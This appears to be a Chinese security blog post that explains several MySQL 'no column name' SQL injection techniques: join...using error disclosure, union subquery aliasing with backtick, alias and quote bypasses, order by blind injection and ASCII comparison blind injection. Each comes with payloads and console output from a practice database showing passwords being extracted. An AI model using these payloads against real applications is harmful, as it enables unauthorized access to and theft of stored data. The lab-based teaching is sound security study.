MySQL 无列名注入的几种方式

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2022-08-29 2022-08-29 About 2300 words 5 minutes

Contents

总结一下无列名注入的几种方式

join…using

利用条件: 能显示报错信息

payload 如下

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select * from (select * from users a join users b)c;

原理是用 join 连接两张表时, 遇到重复的列名会报错, 并把这个报错的列名显示出来

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mysql> select * from (select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from (select * from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'

通过 using 可以声明连接时的关联条件, 类似于平常写 inner join 时候的 on a.id = b.id, 这样就可以避免该字段重复而报错

这里设置别名的时候省略了 as, 完整的写法如下

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select * from (select * from users as a join users as b) as c

join 在连接不同表时不需要别名, 因为两张表本身就不一样, 但是我们把 users 自身连接起来时需要设置别名以对两张表进行区分, 否则会报错 ERROR 1066 (42000): Not unique table/alias: 'users'

括号后面的 c 是括号里面子查询返回的表的别名, 不加的话会显示 ERROR 1248 (42000): Every derived table must have its own alias

放到注入点里面的几种形式

union 第一种

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mysql> select * from emails where id=1;
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.00 sec)

mysql> select * from emails where id=1 union select * from (select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from emails where id=1 union select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'

union 第二种, 需要知道字段数

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mysql> select * from emails where id=1 union select 1,(select * from (select * from users a join users b)c);
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from emails where id=1 union select 1,(select * from (select * from users a join users b using(id))c);
ERROR 1060 (42S21): Duplicate column name 'username'

直接用 and 连接, 不使用 union

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mysql> select * from emails where id=1 and (select * from (select * from users a join users b)c);
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from emails where id=1 and (select * from (select * from users a join users b using(id))c);
ERROR 1060 (42S21): Duplicate column name 'username'

因为是报错注入, 语句很灵活, 也可以塞进 updatexml extractvalue 里面, 不过利用思路都是差不多的

子查询

利用条件: union 未被过滤

payload 如下

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select `3` from (select 1,2,3 union select * from users)c;

这种方法的原理也很简单, 首先通过 union 将查询结果连接

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mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
14 rows in set (0.00 sec)

注意顶部的字段名全部都变成了 1,2,3, 我们可以单独把前半句拿出来看一看

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mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

在这种单纯 select 已知字符 (数字, 字母, 特殊符号) 的情况下, mysql 会自动把列名设置成我们查询的字符

之后通过 union 连接, 因为连接顺序的问题, 在 union 后面的查询结果中的字段名会和 union 前的查询结果保持一致, 这里就相当于我们用了 1 2 3 替换掉了原来的 id username password

最后通过反引号来引用这个列名

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mysql> select `3` from (select 1,2,3 union select * from users)c;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
| genious    |
| mob!le     |
| admin      |
| admin1     |
| admin2     |
| admin3     |
| dumbo      |
| admin4     |
+------------+
14 rows in set (0.00 sec)

反引号的作用就是区分 mysql 的保留字和普通字符, 也可以区分普通的字符串 1 2 3 和列名 1 2 3

不加反引号的话 mysql 会认为我们只是查询 3 这个字符串, 而不会引用表里面列名为 3 的内容

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mysql> select 3 from (select 1,2,3 union select * from users)c;
+---+
| 3 |
+---+
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
| 3 |
+---+
14 rows in set (0.00 sec)

如果过滤了反引号的话, 还可以通过别名或者单双引号来绕过

别名第一种方式 (字段别名)

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select a from (select 1,2,3 a union select * from users)c;

别名第二种方式 (子查询别名)

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select c.3 from (select 1,2,3 union select * from users)c;

引号

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mysql> select mycolumn from (select 1,2,"mycolumn" union select * from users)c;

引号的作用就类似于我们为这一列单独设置了一个列名, 然后在最开头的 select 查询该列名来返回数据

放在 sql 注入里的形式

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mysql> select * from emails where id=1 union select 1,`3` from (select 1,2,3 union select * from users)c;
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
|  1 | 3                |
|  1 | Dumb             |
|  1 | I-kill-you       |
|  1 | p@ssword         |
|  1 | crappy           |
|  1 | stupidity        |
|  1 | genious          |
|  1 | mob!le           |
|  1 | admin            |
|  1 | admin1           |
|  1 | admin2           |
|  1 | admin3           |
|  1 | dumbo            |
|  1 | admin4           |
+----+------------------+
15 rows in set (0.00 sec)

必须要用到 union 连接, 并且需要知道字段数

order by 盲注

order by 的注入也是属于一个大类里面的, 要讲的内容很多, 这里先简单写一下无列名的 order by 盲注

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mysql> select * from users where id=1 union select 1,2,binary 'D' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | D        |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,binary 'Du' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | Du       |
|  1 | Dumb     | Dumb     |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union select 1,2,binary 'Dx' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | Dx       |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where id=1 union select 1,2,binary 'Dz' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | Dz       |
+----+----------+----------+
2 rows in set (0.00 sec)

前面加上 binary 是为了区分大小写

本质上是利用 order by 按字母顺序排序的特点, 如果我们输入的数据前几位符合 password 的内容, 会优先显示我们的数据, 如果输入的数据不符合的话, 就会显示原本的数据 (也可以加上 asc desc 改一下显示顺序)

但是这种方法好像无法跨表查询 (?) 不知道有没有可行的 payload

ascii 比较盲注

利用 mysql 比较字符时会转换成 ascii 的特性来进行盲注

原理如下

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mysql> select 'a'>'c';
+---------+
| 'a'>'c' |
+---------+
|       0 |
+---------+
1 row in set (0.00 sec)

mysql> select 'd'>'c';
+---------+
| 'd'>'c' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

如果是字符串会按照单个字符依次比较, 我就不写了

payload 如下

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mysql> select * from emails where id=1 and (select 1,binary 'Da',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'D',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Du',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Da',3)>(select * from users limit 0,1);
Empty set (0.00 sec)

mysql> select * from emails where id=1 and (select 1,binary 'Dz',3)>(select * from users limit 0,1);
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.00 sec)

不过这种方法也有个缺点, 例如 users 表的列名是 id username password, 如果你想要猜 password 的内容, 就必须要先把 id 和 username 猜出来

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(select 1,2,3)>(select * from users limit 0,1); # 第一个位置先猜 id
......

(select 1,'Dumb',3)>(select * from users limit 0,1); # 第二个位置再猜 username
......

(select 1,'Dumb','Dumb')>(select * from users limit 0,1); # 第三个位置才能猜 password